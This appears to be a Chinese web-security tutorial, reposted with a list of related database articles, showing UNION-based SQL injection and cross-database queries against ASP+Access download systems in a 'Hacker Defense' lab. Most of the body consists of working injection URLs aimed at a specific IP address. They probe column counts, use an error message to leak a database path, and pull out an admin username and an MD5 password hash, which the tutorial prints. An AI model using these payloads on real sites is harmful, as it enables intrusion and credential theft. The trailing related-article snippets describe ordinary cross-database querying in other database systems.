Access的跨库查询 (图)

大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。
  首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:\daos\db\daidalos.mdb里的admin表的内容进行查询,SQL语句为:
javascript:if(this.width>500)this.width=500" border=0>
  查询后,成功返回目标数据库里表admin表里的内容:
javascript:if(this.width>500)this.width=500" border=0>
  在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:
使用union查询必须知道前一个select里表的字段数
必须知道目标数据库的所在位置,绝对路径。
  条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。
  条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。
  在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:
我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:
http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo

  返回:
Microsoft JET Database Engine 错误 '80040e14'
在联合查询中所选定的两个数据表或查询中的列数不匹配。
/yddown/list.asp,行51

  字段不对,我写了个perl脚本自动猜,(代码见后)
  当我们提交:
http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo

  无错误返回:
javascript:if(this.width>500)this.width=500" border=0>
 哈哈! 我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。
   现在还就差盗帅的数据库位置了,简单我们暴库,提交:
http://219.237.81.46/dsdown%5cregs.asp

  成功返回路径:
Microsoft JET Database Engine 错误 '80004005'
'D:\111\db\kljdsld.asa'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/dsdown/db/user.asp,行6

  (注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:\111\dsdown\db\kljdsld.asa)
  下面我们跨库,构造url如下:
http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

  
上面的语句是,union查询数据D:\111\db\kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:
javascript:if(this.width>500)this.width=500" border=0>
  得到用户名为admin 我们接着暴密码:
http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1

  如图:
javascript:if(this.width>500)this.width=500" border=0>
  得到密码为32位的md5加密的hash:77e6cbb3f9468eadb655ae6826357922,我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯 : )。
小结
  本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。

(0)

相关推荐

  • 解析MSSQL跨数据库查询的实现方法

    复制代码 代码如下: --创建链接服务器   exec   sp_addlinkedserver       '链接服务器名称',   '',   'SQLOLEDB',   '远程服务器名或ip地址'   exec   sp_addlinkedsrvlogin     '链接服务器名称',   'false' ,null,   '需要链接服务器用户名',   '密码' sp_addlinkedserver[ @server= ] 'server'[ , [ @srvproduct= ] 'pr

  • Oracle跨数据库查询并插入实现原理及代码

    工作中需要从一个数据库中的表GIS_WEICHAI_DATA_1S中的数据导入到另个一数据库的表GIS_WEICHAI_DATA_1S中,数据库服务器都是远程的<IP分别为: 221.131.228.256 211.161.192.46>!我的实现方法是在本地使用PL/SQL操作两个远程服务器,实现方式如下: 1. 为你需要操作的远程数据库服务器建立本地服务名: 在本地数据库安装文件中,找到$ORACLE_HOME/network/admin/tnsnames.ora文件, 末尾添加 复制代码

  • 深入SQL Server 跨数据库查询的详解

    语句SELECT * FROM 数据库A.dbo.表A a, 数据库B.dbo.表B b WHERE a.field=b.field"DBO"可以省略 如SELECT * FROM 数据库A..表A a, 数据库B..表B b WHERE a.field=b.fieldSqlServer数据库:--这句是映射一个远程数据库EXEC sp_addlinkedserver '远程数据库的IP或主机名',N'SQL Server'--这句是登录远程数据库EXEC sp_addlinkedsr

  • SQLServer 跨库查询实现方法

    本文给出一条 SQL 语句用于展示在同一名服务器上,不同的数据库间查询,注意当前连接用户要对两个库都有权限SQL Server 中 SQL 语句中对象的完整表达式是: [DatabaseServer].[DatabaseName].[DatabaseSchema].[DatabaseObject] 本文给出一条 SQL 语句用于展示在同一名服务器上,不同的数据库间查询,注意当前连接用户要对两个库都有权限. 复制代码 代码如下: select * from CfteaDb1.dbo.CfteaTa

  • 跨数据库实现数据交流

    通常情况下,我们的CRUD操作都在单一数据库中进行.但是,也可能会遇到需要进行跨数据交流的情况.对此,我以跨数据库进行表的访问为例,稍微总结了下. 一.同SQL SERVER 这个最简单.直接在表名前加上"[数据库名]."就可以了. 例: SELECT * FROM [DestinationDBName].dbo.DestinationTableName 二.跨SQL SERVER 主要介绍两种方法: (一)通过链接服务器 1.先执行系统存储过程 sp_addlinkedserver

  • php结合ACCESS的跨库查询功能

    问题说明: 有时需要在两个或三个数据库的表中,通过相关关键字,查询获取所需记录集,用一般的SQL查询语句是实现不了的,可通过ACCESS的跨库查询功能实现. 解决方法: 例如"装材类型"和"装材"两张表是在不同的数据库中的,具体查询方法,如下: 复制代码 代码如下: @"Select * from 装材类型 as a INNER JOIN [;database=" AppDomain.CurrentDomain.BaseDirectory &qu

  • Access的跨库查询 (图)

    大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询.下面我就给大家介绍下access的跨库查询. 首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:\daos\db\daidalos.mdb里的admin表的内容进行查询,SQL语句为: javascript:if(this.width>500)this.width=500" border=0> 查询后,成功返回目标数据库里表admin表里的内容:

  • PostgreSQL中使用dblink实现跨库查询的方法

    最近一个sql语句涉及到跨库的表之间的联合查询,故研究学习下. 一开始研究知道了sql语句的写法,但是执行通过不了,需要先安装dblink扩展.这些博文里都没说清楚,感谢网友指点,在windows下只需要在相应的数据库下执行sql语句"create extension dblink"就ok了.而以上的博文基本上说的都是linux下的操作方法,也因此我走了弯路. 2.下载了PostgreSQL的源代码,却不知道语句在哪执行,貌似是在linux下的shell里执行的,我却在psql和cmd

  • oracle跨库查询dblink的用法实例详解

    本文实例讲述了oracle跨库查询dblink的用法.分享给大家供大家参考,具体如下: 1.创建之前的工作 在创建dblink之前,首先要查看用户是否有相应的权限.针对特定的用户,使用 sqlplus user/pwd登录后,执行如下语句: 复制代码 代码如下: select * from user_sys_privs t where t.privilege like upper('%link%'); 在sys用户下,显示结果为: SYS CREATE DATABASE LINK NO SYS

  • MySQL中进行跨库查询的方法示例

    前言 在MySQL中跨库查询主要分为两种情况,一种是同服务的跨库查询:另一种是不同服务的跨库查询:它们进行跨库查询是不同的,下面就具体介绍这两种跨库查询. 一.同服务的跨库查询 同服务的跨库查询只需要在关联查询的时候带上数据名,SQL的写法是这样的:SELECT * FROM 数据库1.table1 x JOIN 数据库2.table2 y ON x.field1=y.field2:例如: 二.不同服务的跨库查询 不同服务的跨库查询,直接通过数据名加表明是无法进行关联的,这里需要用到MySQL数

  • 详解mysql跨库查询解决方案

    1.第一种跨库查询,是在同一个mysql服务器下两个不同的数据库之间的联查,关系如下图 在同一个mysql服务器下,不同的两个数据直接加上库名就可以实现跨库查询了 select * from t_test1 t1, test2.t_test2 t2 where t1.id = t2.id 执行sql查询到一下结果 2.第二种跨库查询,是在两台不同服务器(物理服务器)上分别安装的mysql服务器,实现跨库查询,其实现原理类似一个虚拟映射,需要用到mysql的另一个存储引擎Federated,FED

  • Oracle 跨库 查询 复制表数据 分布式查询介绍

    方法一: 在目前绝大部分数据库有分布式查询的需要.下面简单的介绍如何在oracle中配置实现跨库访问. 比如现在有2个数据库服务器,安装了2个数据库.数据库server A和B.现在来实现在A库中访问B的数据库. 第一步.配置A服务器端的tnsnames.ora文件(TNSNAMES.ORA Network Configuration File),该文件存放的位置为: $ORACLE_HOME/network/admin/tnsnames.ora 添加如下行,其中DBLINK为连接名(可自定义)

  • oracle跨库查询的方法

    在Oracle本地数据库端执行赋权dbuser帐号 SQL> grant create database link to dbuser; 1.配置本地数据库服务器的tnsnames.ora文件 $vi $ORACLE_HOME/network/admin/tnsnames.ora 添加如下行,其中DBLINK为连接名(可自定义),HOST和PORT为数据库侦听的IP及端口,SERVICE_NAME为数据库的SID, MEDIADBLINK = (DESCRIPTION = (ADDRESS_LI

  • Oracle如何实现跨库查询

    实现结果:在一个数据库中某个用户下编写一个存储过程,在存储过程中使用DBLINK连接另一个数据库,从此数据库中的一个用户下取数,然后插入当前的数据库中的一个表中. 二. 实现方法步骤: 1. 创建存储过程     2. 在存储过程中先创建database link     3. 创建成功     4. 从另一个数据库取出数据插入到当前数据库中     5. 任务完成 三. 创建DBLINK的方法: create public database link dblink connect to tot

随机推荐